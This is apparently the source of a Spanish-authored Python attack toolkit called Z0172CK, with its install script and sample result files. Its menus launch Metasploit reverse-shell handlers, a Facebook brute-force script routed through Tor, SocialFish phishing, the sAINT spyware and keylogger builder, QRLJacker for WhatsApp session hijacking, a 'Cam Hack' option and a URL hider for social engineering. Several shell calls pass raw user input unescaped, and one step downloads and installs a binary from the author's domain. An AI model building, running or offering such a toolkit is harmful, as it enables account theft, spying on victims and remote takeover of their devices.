54 | print("[{}+{}] ISP: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['isp']))
55 | print("[{}+{}] Location: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, json.dumps(data['location'], sort_keys=True, indent=2)))
56 | print("[{}+{}] Organization: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['org']))
57 | print("[{}+{}] Operating System: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['os']))
58 | print("[{}+{}] Port: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['port']))
59 | print("[{}+{}] Product: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data.get('product', 'null')))
60 | print("[{}+{}] Version: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data.get('version', 'null')))
61 | #print("[{}+{}] Vulnerabilities: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, json.dumps(data.get('vulns', 'null'), sort_keys=True, indent=2)))
62 | if vulns == True:
63 | print("[{}+{}] Vulnerabilities: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, json.dumps(data.get('vulns', 'null'), sort_keys=True, indent=2)))
64 | print('')
65 | print("Results saved in {}result/Shodan.json{}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX))
66 | time.sleep(2)
67 | banner()
68 | main()
69 |
70 | except Exception as e:
71 | print(f'Ha ocurido un error: {e}')
72 | result = []
73 | return result
74 |
75 | class Metasploit:
76 | def MSF():
77 | global ProgramName , color
78 | global Port
79 | global Host
80 | payload = 'none'
81 |
82 | print("")
83 | print("{}Select platform type{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
84 | print("")
85 | print("[{}01{}] Windows".format(color, Fore.LIGHTWHITE_EX))
86 | print("[{}02{}] Android".format(color, Fore.LIGHTWHITE_EX))
87 | print("[{}03{}] Linux".format(color, Fore.LIGHTWHITE_EX))
88 | print("")
89 |
90 | option = input(str(" {} ({}Metasploit/MSF{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
91 |
92 | if option == '01' or option == '1' or option == 'windows':
93 | print("Select the Payload")
94 | print("")
95 | print("[{}01{}] windows/meterpreter/reverse_tcp".format(color, Fore.LIGHTWHITE_EX))
96 | print("[{}02{}] windows/meterpreter/reverse_http".format(color, Fore.LIGHTWHITE_EX))
97 | print("[{}03{}] windows/meterpreter/reverse_https".format(color, Fore.LIGHTWHITE_EX))
98 | print("[{}04{}] windows/meterpreter/bind_tcp".format(color, Fore.LIGHTWHITE_EX))
99 | print("[{}05{}] windows/shell/bind_tcp".format(color, Fore.LIGHTWHITE_EX))
100 | print("[{}06{}] windows/shell/reverse_tcp".format(color, Fore.LIGHTWHITE_EX))
101 |
102 | option2 = input(str(" {} ({}Metasploit/MSF{}) Payload > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
103 |
104 | if option2 == '01' or option2 == '1' or option2 == 'windows/meterpreter/reverse_tcp':
105 | payload = 'windows/meterpreter/reverse_tcp'
106 |
107 | elif option2 == '02' or option2 == '2':
108 | payload = 'windows/meterpreter/reverse_http'
109 |
110 | elif option2 == '03' or option2 == '3':
111 | payload = 'windows/meterpreter/reverse_https'
112 |
113 | elif option2 == '04' or option2 == '4':
114 | payload = 'windows/meterpreter/bind_tcp'
115 |
116 | elif option2 == '05' or option2 == '5':
117 | payload = 'windows/shell/bind_tcp'
118 |
119 | elif option2 == '06' or option2 == '6':
120 | payload = 'windows/shell/reverse_tcp'
121 |
122 | elif option == '02' or option == '2' or option == 'android':
123 | print("")
124 | print("Select the Paylod")
125 | print("[{}01{}] android/meterpreter/reverse_tcp".format(color, Fore.LIGHTWHITE_EX))
126 | print("[{}02{}] android/meterpreter/reverse_http".format(color, Fore.LIGHTWHITE_EX))
127 | print("[{}03{}] android/meterpreter/reverse_https".format(color, Fore.LIGHTWHITE_EX))
128 | print("")
129 |
130 | optionAndroid = input(str(" {} ({}Metasploit/MSF{}) Payload > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
131 |
132 | if optionAndroid == '01' or optionAndroid == '1':
133 | payload = 'android/meterpreter/reverse_tcp'
134 |
135 | elif optionAndroid == '02' or optionAndroid == '2':
136 | payload = 'android/meterpreter/reverse_http'
137 |
138 | elif optionAndroid == '03' or optionAndroid == '3':
139 | payload = 'android/meterpreter/reverse_https'
140 |
141 | Host = input(str(" {} ({}Metasploit/MSF{}) LHOST > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
142 | Port = input(str(" {} ({}Metasploit/MSF{}) LPORT > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
143 | datamsf = f"use exploit/multi/handler;set PAYLOAD {payload};set LHOST {Host}; set LPORT {Port};exploit"
144 | subprocess.call(["sudo", "msfconsole", "-q", "-x", datamsf])
145 | mainMetasploit()
146 |
147 | def AutomaticAttack():
148 | pass
149 |
150 | class IPInfo:
151 | def __init__(self, API):
152 | self.api = ipinfo.Handler(API)
153 |
154 | def SearchIP(self, IP):
155 | global PrintBanners
156 | resultIpInfo = open('result/IpInfo.json', 'w')
157 | result = self.api.getDetails(IP)
158 | #print(json.dumps(result.all, sort_keys=True, indent=2))
159 | resultIpInfo.write(str(json.dumps(result.all, sort_keys=True, indent=2)))
160 | print("")
161 | print("[{}+{}] IP = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.ip))
162 | print("[{}+{}] City = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.city))
163 | print("[{}+{}] Country = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.country))
164 | print("[{}+{}] Country Name = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.country_name))
165 | try:
166 | print("[{}+{}] Hostname = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.hostname))
167 | except:
168 | print("[{}!{}] Hostname = None".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
169 | print("[{}+{}] Coordinates = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.loc))
170 | print("[{}+{}] Latitude = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.latitude))
171 | print("[{}+{}] Longitude = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.longitude))
172 | print("[{}+{}] Organization = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.org))
173 | print("[{}+{}] Code Postal = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.postal))
174 | print("[{}+{}] Region = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.region))
175 | print("[{}+{}] TimeZone = {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result.timezone))
176 | print("")
177 | print("Results Saved in {}result/IpInfo.json{} ".format(Fore.LIGHTRED_EX,Fore.LIGHTWHITE_EX))
178 | time.sleep(5)
179 | if PrintBanners == True:
180 | banner()
181 | main()
182 |
183 | def main():
184 | global color
185 | global ProgramName
186 | global PrintBanners
187 | print("")
188 | print("[{}01{}] Shodan [{}06{}] Scan".format(color, Fore.LIGHTWHITE_EX, color, Fore.LIGHTWHITE_EX))
189 | print("[{}02{}] Metasploit [{}07{}] Search Engines".format(color, Fore.LIGHTWHITE_EX, color, Fore.LIGHTWHITE_EX))
190 | print("[{}03{}] IP Info [{}08{}] Spy And Keylogger".format(color, Fore.LIGHTWHITE_EX, color, Fore.LIGHTWHITE_EX))
191 | print("[{}04{}] Brute Force [{}09{}] Phishing".format(color, Fore.LIGHTWHITE_EX, color, Fore.LIGHTWHITE_EX))
192 | print("[{}05{}] Exploits".format(color, Fore.LIGHTWHITE_EX))
193 | print("")
194 | print("[{}88{}] Update".format(color, Fore.LIGHTWHITE_EX))
195 | print("[{}99{}] Exit".format(color, Fore.LIGHTWHITE_EX))
196 | print("")
197 |
198 | options = input(str(" {} > ".format(ProgramName)))
199 |
200 | if options == '01' or options == '1' or options == 'shodan':
201 | mainShodan()
202 |
203 | elif options == '02' or options == '2':
204 | mainMetasploit()
205 |
206 | elif options == '03' or options == '3':
207 | mainIPInfo()
208 |
209 | elif options == '04' or options == '4':
210 | if PrintBanners == True:
211 | banners.println(6)
212 | mainBruteForece()
213 |
214 | elif options == '05' or options == '5':
215 | mainExploits()
216 |
217 | elif options == '06' or options == '6':
218 | mainScan()
219 |
220 | elif options == '07' or options == '7':
221 | mainSearchEngines()
222 |
223 | elif options == '08' or options == '8':
224 | mainSpy()
225 |
226 | elif options == '09' or options == '9':
227 | mainPhishing()
228 |
229 | elif options == '88' or options == 'update':
230 | Update()
231 |
232 | elif options == '77':
233 | os.system("git pull")
234 |
235 | elif options == '99' or options == 'exit':
236 | banners.println(0)
237 | sys.exit
238 |
239 | else:
240 | print("[{}!] Option not available error{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
241 | main()
242 |
243 | def mainShodan():
244 | global ProgramName, color, vulns
245 |
246 | f = open('APIs/Shodan.txt', 'r')
247 | num = len(f.read())
248 | if num < 2:
249 | f.close
250 | api = open('APIs/Shodan.txt', 'w')
251 | print("Go to {}https://account.shodan.io/{} to see your API".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
252 | API = input(str("enter your Shodan API: "))
253 | print("API Save to {}APIs/Shodan.txt{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
254 | api.write(API)
255 | api.close()
256 | mainShodan()
257 |
258 | else:
259 | files = open('APIs/Shodan.txt', 'r')
260 | APIKEY = files.read()
261 | #print(APIKEY)
262 | user = SearchShodan(str(APIKEY))
263 | print("")
264 | search = input(str(" {} ({}Shodan{}) Search > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
265 | optionVuln = input("You want to see the vulnerabilities y/N > ")
266 |
267 | if optionVuln == 's' or optionVuln == 'S' or optionVuln == 'si' or optionVuln == 'Si' or optionVuln == 'y' or optionVuln == 'Y':
268 | vulns = True
269 |
270 | else:
271 | vulns = False
272 |
273 | user.SearchingShodan(search)
274 |
275 | def mainMetasploit():
276 | global ProgramName, color, PrintBanners
277 | if PrintBanners == True:
278 | banners.println(1)
279 | print("")
280 | print("[{}01{}] Listen Payload".format(color, Fore.LIGHTWHITE_EX))
281 | print("[{}02{}] Payload Generate".format(color, Fore.LIGHTWHITE_EX))
282 | #print("[{}03{}] APK Injection".format(color, Fore.LIGHTWHITE_EX))
283 | print("")
284 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX))
285 | print("")
286 |
287 | option = input(str(" {} ({}Metasploit{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
288 |
289 | if option == '01' or option == '1':
290 | Metasploit.MSF()
291 |
292 | elif option == '02' or option == '2':
293 | PayloadGenerate.generate()
294 | banner()
295 | main()
296 |
297 | elif option == '03' or option == '3':
298 | pass
299 |
300 | elif option == '99':
301 | banner()
302 | main()
303 |
304 | else:
305 | print("{}[!] Option not available{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
306 | mainMetasploit()
307 |
308 | def mainIPInfo():
309 | global ProgramName, color
310 | f = open('APIs/IpInfo.txt', 'r')
311 | API = f.read()
312 | #print(API)
313 |
314 | if len(API) < 1:
315 | f.close()
316 | Key = open('APIs/IpInfo.txt', 'w')
317 | print("")
318 | print("Ingresa a {}https://ipinfo.io/account{} para ver tu access token")
319 | print("")
320 |
321 | KEY = input("Ingresa tu API o Access Token > ")
322 | Key.write(KEY)
323 | API = KEY
324 | Key.close()
325 |
326 | banners.println(3)
327 | print("")
328 |
329 | User = IPInfo(API)
330 | option = input(str("{} ({}IP-Info{}) IP > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
331 |
332 | User.SearchIP(str(option))
333 |
334 | def mainBruteForece():
335 | global ProgramName, color, PrintBanners
336 | print("")
337 | print("[{}01{}] Facebook".format(color, Fore.LIGHTWHITE_EX))
338 | #print("[{}02{}] Hydra".format(color, Fore.LIGHTWHITE_EX))
339 | print("")
340 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX))
341 | print("")
342 |
343 | option = input(str(" {} ({}BruteForce{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
344 |
345 | if option == '01' or option == '1':
346 | print("")
347 | print("[{}01{}] Start Brute Force".format(color, Fore.LIGHTWHITE_EX))
348 | print("[{}02{}] Continue Brute Force".format(color, Fore.LIGHTWHITE_EX))
349 | print("")
350 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX))
351 | print("")
352 |
353 | option1 = input(str(" {} ({}BruteForce/Facebook{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
354 |
355 | if option1 == '01' or option1 == '1':
356 | os.system("sudo chmod +x core/FB-BruteForce/FacebookBruteForce.sh")
357 | os.system("sudo service tor start")
358 | os.system("sudo ./core/FB-BruteForce/FacebookBruteForce.sh")
359 | mainBruteForece()
360 |
361 | elif option1 == '02' or option1 == '2':
362 | os.system("sudo ./core/FB-BruteForce/FacebookBruteForce.sh --resume")
363 | if PrintBanners == True:
364 | banners.println(6)
365 | mainBruteForece()
366 |
367 | elif option1 == '99':
368 | if PrintBanners == True:
369 | banners.println(6)
370 | mainBruteForece()
371 |
372 | elif option == '99':
373 | banner()
374 | main()
375 |
376 | else:
377 | print("{}[!] Option not available{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
378 | mainBruteForece()
379 |
380 | def mainExploits():
381 | global ProgramName, color
382 |
383 | print("")
384 | print("[{}01{}] Cam Hack".format(color, Fore.LIGHTWHITE_EX))
385 | print("[{}02{}] SET".format(color, Fore.LIGHTWHITE_EX))
386 | print("[{}03{}] QrJacker ({}WhatssApp{})".format(color, Fore.LIGHTWHITE_EX, Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX))
387 | print("[{}04{}] AndroidSploit".format(color, Fore.LIGHTWHITE_EX))
388 | print("")
389 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX))
390 | print("")
391 |
392 | option = input(str(" {} ({}Exploit{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
393 |
394 | if option == '01' or option == '1':
395 | print("")
396 | camHackers.init()
397 | mainExploits()
398 |
399 | elif option == '02' or option == '2':
400 | os.system("sudo setoolkit")
401 |
402 | elif option == '03' or option == '3':
403 | if os.path.exists("geckodriver") == False:
404 | os.system("wget https://z0172ck.me/Files/geckodriver")
405 | os.system("chmod +x geckodriver")
406 | os.system("sudo cp -f geckodriver /usr/local/share/geckodriver")
407 | os.system("sudo ln -s /usr/local/share/geckodriver /usr/local/bin/geckodriver")
408 | os.system("sudo ln -s /usr/local/share/geckodriver /usr/bin/geckodriver")
409 |
410 | print("")
411 | print("Recuerde ir a {}127.0.0.1:1337{} para ver la pagina Phishing".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
412 | #os.system("firefox 127.0.0.1:1337 &")
413 | print("")
414 | time.sleep(1)
415 | #os.system("xterm -hold -e firefox z0172ck.me")
416 | os.system("cd core/QRLJacker/ && python3 QrlJacker.py -q -r .ataque")
417 |
418 | mainExploits()
419 |
420 | elif option == '04' or option == '4':
421 | pass
422 |
423 | elif option == '99':
424 | banner()
425 | main()
426 |
427 | else:
428 | print("{}[!] Option not available{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
429 | mainExploits()
430 |
431 | def mainScan():
432 | global ProgramName, color
433 |
434 | print("")
435 | print("[{}01{}] Nmap".format(color, Fore.LIGHTWHITE_EX))
436 | print("[{}02{}] Web Vulnerability Scanner".format(color, Fore.LIGHTWHITE_EX))
437 | print("")
438 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX))
439 |
440 | option = input(str(" {} ({}Scan{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
441 |
442 | if option == '01' or option == '1':
443 | NmapScan()
444 | elif option == '02' or option == '2':
445 | print("")
446 | print("[{}01{}] Nikto".format(color, Fore.LIGHTWHITE_EX))
447 | print("")
448 | print("[{}99{}] Back".format(color,Fore.LIGHTWHITE_EX))
449 | print("")
450 |
451 | option2 = input(str(" {} ({}WebScan{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
452 |
453 | if option2 == '01' or option2 == '1':
454 | print("")
455 | TARGET = input(str(" {} ({}WebScan/Nikto{}) Target > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
456 | print("")
457 | os.system(f"nikto -h {TARGET}")
458 | time.sleep(2)
459 | mainScan()
460 |
461 | elif option2 == '99':
462 | mainScan()
463 |
464 | else:
465 | print("[{}!] Option not available error{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
466 | mainScan()
467 | elif option == '99':
468 | main()
469 |
470 | else:
471 | print("{}[!] Option not available error{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
472 | mainScan()
473 |
474 | def NmapScan():
475 | global ProgramName, color
476 | print("")
477 | Target = input(str(" {} ({}Scan/Nmap{}) Target > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
478 | print("Version 1.0")
479 | os.system(f"sudo nmap -sS -T4 -A -O {Target}")
480 | time.sleep(2)
481 | print("")
482 | main()
483 |
484 | def mainSearchEngines():
485 | global color, ProgramName
486 | print("")
487 | print("[{}01{}] Namechk".format(color, Fore.LIGHTWHITE_EX))
488 | print("")
489 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX))
490 | print("")
491 |
492 | option = input(str(" {} ({}SearchEngines{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
493 | print("")
494 |
495 | if option == '01' or option == '1':
496 | name = input(str(" {} ({}UserNameSE/Namechk{}) Name > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
497 | os.system(f"bash ./core/Namechk/namechk.sh {name} -fu")
498 | mainUserSearchEngines()
499 |
500 | elif option == '99':
501 | banner()
502 | main()
503 |
504 | else:
505 | print("[{}!] Option not available error{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
506 | mainScan()
507 |
508 | def mainSpy():
509 | global ProgramName, color
510 |
511 | print("")
512 | print("[{}01{}] sAINT ({}java{})".format(color, Fore.LIGHTWHITE_EX, Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX))
513 | #print("[{}02{}] SpyZ ({}Python{})".format(color, Fore.LIGHTWHITE_EX, Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX))
514 | print("")
515 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX))
516 | print("")
517 |
518 | options = input(str(" {} ({}Spy{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
519 |
520 | if options == '1' or options == '01':
521 | print("")
522 | if os.path.exists('core/sAINT') == False:
523 | os.system("cd core/ && git clone https://github.com/tiagorlampert/sAINT && cd sAINT && chmod +x configure.sh && sudo ./configure.sh ")
524 |
525 | os.system("cd core/sAINT && sudo java -jar sAINT.jar")
526 | print("\n\n")
527 | print("Spy Saved in {}result/sAINT{}.jar an .exe".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX))
528 | os.system("sudo cp core/sAINT/target/saint-1.0-jar-with-dependencies.jar result/sAINT.jar")
529 | os.system("sudo cp core/sAINT/target/saint-1.0-jar-with-dependencies.exe result/sAINT.exe")
530 | mainSpy()
531 |
532 | elif options == '99':
533 | main()
534 |
535 | else:
536 | print("{}[!] Option not available{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
537 | mainSpy()
538 |
539 | def mainPhishing():
540 | print("")
541 | print("[{}01{}] SocialFish".format(color, Fore.LIGHTWHITE_EX))
542 | print("[{}02{}] Hide custom URL for social engineering".format(color, Fore.LIGHTWHITE_EX))
543 | print("")
544 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX))
545 | print()
546 |
547 | options = input(str(" {} ({}Phishing{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
548 |
549 | if options == '01' or options == '1':
550 | if os.path.exists("core/SocialFish/") == False:
551 | os.system("cd core/ && git clone https://github.com/UndeadSec/SocialFish")
552 | print("Ok")
553 |
554 | print("")
555 | try:
556 | os.system("cd core/SocialFish/ && sudo python3 SocialFish.py admin admin && echo Ok")
557 | except KeyboardInterrupt:
558 | mainPhishing()
559 |
560 | elif options == '02' or options == '2':
561 | UrlHider.main()
562 |
563 | elif options == '99':
564 | banner()
565 | main()
566 |
567 | else:
568 | print("{}[!] Option not avalible{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
569 | mainPhishing()
570 |
571 | def Update():
572 | print("[{}+{}] updating".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX))
573 | os.system("sudo git pull origin master")
574 | os.system("bash ./install.sh")
575 | os.system("sudo pip3 install -r requirements.txt")
576 | main()
577 |
578 | def Configurate():
579 | global PrintBanners
580 | print("")
581 | print("[{}01{}] Print Banners | imprimir los banners")
582 | print("[{}99{}] Back")
583 | print("")
584 |
585 | option = input(str(" Z0172CK ({}Configuracion{}) > "))
586 |
587 | if option == '01' or option == '1':
588 | option1 = input(str("Desea Desactivar los Banners [s/N] : "))
589 | if option1 == 's' or 'S':
590 | PrintBanners(False)
591 | main()
592 | main()
593 |
594 | elif option == '99':
595 | banner()
596 | main()
597 |
598 | Configurate
599 |
600 | def banner():
601 | global color
602 |
603 | banner ='''{}
604 | ███████╗ ██████╗ ██╗███████╗██████╗ ██████╗██╗ ██╗
605 | ╚══███╔╝██╔═████╗███║╚════██║╚════██╗██╔════╝██║ ██╔╝
606 | ███╔╝ ██║██╔██║╚██║ ██╔╝ █████╔╝██║ █████╔╝
607 | ███╔╝ ████╔╝██║ ██║ ██╔╝ ██╔═══╝ ██║ ██╔═██╗
608 | ███████╗╚██████╔╝ ██║ ██║ ███████╗╚██████╗██║ ██╗
609 | ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝
610 | Version V 1.2 By -Erik172
611 | {}'''.format(color, Fore.LIGHTWHITE_EX)
612 |
613 | print(banner)
614 |
615 | if __name__ == "__main__":
616 | if sys.platform == 'linux':
617 | try:
618 | banner()
619 | main()
620 | except KeyboardInterrupt:
621 | banners.println(0)
622 | sys.exit()
623 |
624 | else:
625 | print(sys.platform)
626 | print("[{}!{}] Platform not avalible to a".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
627 | sys.exit()
--------------------------------------------------------------------------------
/install.sh:
--------------------------------------------------------------------------------
1 | echo "Solucionando Problemas"
2 | sudo rm geckodriver
3 | sudo rm /usr/local/share/geckodriver
4 | sudo rm /usr/local/bin/geckodriver
5 | sudo rm /usr/bin/geckodriver
6 |
7 | echo -e "[ \e[32m + \e[0m ] Instalando Aplicaciones"
8 | echo ""
9 | sudo apt install python3 -y&&
10 | sudo apt install python3-pip -y &&
11 | sudo apt install nmap -y &&
12 | sudo apt install hydra -y &&
13 | sudo apt install tor -y &&
14 | sudo apt install curl -y &&
15 | sudo apt install nikto nmap -y &&
16 | sudo apt install maven default-jdk default-jre openjdk-8-jdk openjdk-8-jre -y &&
17 | sudo apt install zlib1g-dev libncurses5-dev lib32z1 lib32ncurses6 -y &&
18 | sudo apt install screen -y &&
19 | echo ""
20 | echo -e "\e[32m OK \e[0m"
21 |
22 | echo ""
23 | echo -e "[ \e[32m + \e[0m ]Instalando Dependencias"
24 | sudo pip3 install -r requirements.txt
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/output/.files:
--------------------------------------------------------------------------------
1 | www.z0172ck.me
2 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | colorama==0.4.3
2 | shodan==1.23.0
3 | ipinfo==3.0.0
4 | terminaltables>=3.1.0
5 | selenium>=3.141.0
6 | Pillow>=5.4.1
7 | Jinja2>=2.10
8 | user-agent>=0.1.9
9 | argparse
10 | requests==2.31.0
11 | PyLaTeX==1.3.0
12 | python-nmap
13 | qrcode==6.1
14 | Flask==2.3.2
15 | Flask_Login==0.4.1
16 | nmap==0.0.1
17 | python-secrets
18 | pyshorteners
--------------------------------------------------------------------------------
/result/IpInfo.json:
--------------------------------------------------------------------------------
1 | {
2 | "city": "San Francisco",
3 | "country": "US",
4 | "country_name": "United States",
5 | "ip": "185.199.108.153",
6 | "latitude": "37.7621",
7 | "loc": "37.7621,-122.3971",
8 | "longitude": "-122.3971",
9 | "org": "AS54113 Fastly",
10 | "postal": "94107",
11 | "region": "California",
12 | "timezone": "America/Los_Angeles"
13 | }
--------------------------------------------------------------------------------
/result/Shodan.json:
--------------------------------------------------------------------------------
1 | {
2 | "matches": [],
3 | "total": 0
4 | }
--------------------------------------------------------------------------------